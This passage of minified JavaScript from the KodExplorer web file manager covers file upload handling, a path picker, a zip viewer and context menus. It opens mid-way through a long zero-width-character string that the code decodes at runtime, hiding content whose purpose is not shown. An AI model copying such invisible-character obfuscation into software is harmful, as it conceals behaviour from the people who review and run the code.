‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+a)+'" data-name="'+htmlEncode(e.upload_to+a)+'">'+htmlEncode(core.pathThis(a))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw)}"http"==t&&(i=LNG.upload_error_http),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('<div style="width:0px;height:0px;" class="'+i+'"></div>').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r='<span class="time">'+date(LNG.time_type,t.mtime)+"</span>";r+='<span class="size">'+core.fileSize(t.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(u(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath; -e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var t=f(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},f=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(t);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0})},m=function(e,t){var i=template.compile(tpl_zipview),a=i({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:t,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),m(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),i,s),t=$.fn.zTree.getZTreeObj(r),_(r),u(t.getNodeByParam("index","-1",null))},g=function(e){var i="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(i="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(i=G.app_host+"index.php?"+i,$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(v(core.pathThis(e),a.data),t.setting.filePath=e,t.setting.fileUrl=i):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/share_common/rightMenu",[],function(){var e=".menufile",t=".menufolder",i=".menuMore",a=".menuTreeRoot",n=".menuTreeFolder",o=".menuTreeFile",s={listIcon:{name:LNG.list_type,icon:"eye-open",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep105:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},r=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),c(),d(),p(),u(),m(),_(),x(),y(),b(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},l=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),m(),y(),x(),v(),g(),b(),$(".context-menu-root").addClass("animated fadeIn")},c=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,t){f(e,t)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:s.listIcon,sortBy:s.sortBy,setFileIconSize:s.setFileIconSize,sep10:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},d=function(){$('<i class="'+t.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path+"<b>Ctrl+F</b>",className:"search",icon:"search",accesskey:"s"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},p=function(){$('<i class="'+e.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:e,className:e.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},open_text:{name:LNG.edit+"<b>Ctrl+E</b>",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},u=function(){$('<i 